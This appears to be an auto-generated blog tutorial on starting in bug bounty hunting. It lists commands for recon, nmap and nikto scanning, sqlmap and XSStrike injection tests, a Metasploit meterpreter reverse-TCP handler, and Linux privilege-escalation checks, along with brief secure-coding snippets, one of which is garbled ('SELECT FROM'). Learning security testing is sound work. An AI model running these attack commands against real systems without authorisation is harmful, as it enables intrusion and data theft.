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Bug bounty hunting is a challenging yet rewarding field that requires a deep understanding of software development and security. Many beginners, like Muhamad Rizki Arif Fadillah, start by following tutorials but soon realize that real-world vulnerabilities require more than just running tools—they demand a developer’s mindset.
You Should Know:
To succeed in bug bounty hunting, you need hands-on experience with security tools, programming, and ethical hacking techniques. Below are essential commands, tools, and steps to help you get started:
1. Reconnaissance & Information Gathering
- Subdomain Enumeration
subfinder -d example.com -o subdomains.txt amass enum -d example.com -o amass_results.txt
- Port Scanning with Nmap
nmap -sV -T4 -p- -A target.com -oN scan_results.txt
2. Vulnerability Scanning
- Automated Scanning with Nikto
nikto -h https://target.com -output nikto_scan.html
- SQL Injection Testing with SQLmap
sqlmap -u "https://target.com/page?id=1" --dbs --batch
3. Web Application Testing
- XSS Testing with XSS Hunter
python3 xsstrike.py -u "https://target.com/search?q=<script>"
- CSRF Exploitation with Burp Suite
- Intercept requests and modify parameters to test for CSRF vulnerabilities.
4. Exploitation & Post-Exploitation
- Metasploit Framework
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST <your-ip> set LPORT 4444 exploit
- Privilege Escalation (Linux)
sudo -l find / -perm -4000 2>/dev/null
5. Secure Coding Practices (For Developers)
- Preventing SQL Injection (PHP Example)
$stmt = $pdo->prepare("SELECT FROM users WHERE email = ?"); $stmt->execute([$email]); - Input Sanitization (Python Example)
from html import escape user_input = escape(request.form['input'])
What Undercode Say:
Bug bounty hunting is not just about hacking—it’s about understanding how software works. Learning programming (Python, JavaScript, Go) will give you an edge in identifying logic flaws and insecure coding patterns. Combine automated tools with manual testing, and always document your findings.
Expected Output:
A structured bug report containing:
- Vulnerability Type (XSS, SQLi, CSRF, etc.)
- Affected URL
- Steps to Reproduce
- Mitigation Recommendations
By mastering both development and security, you’ll transition from a script runner to a skilled ethical hacker. Keep learning, practicing, and hunting!
References:
Reported By: Muhamad Rizki – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
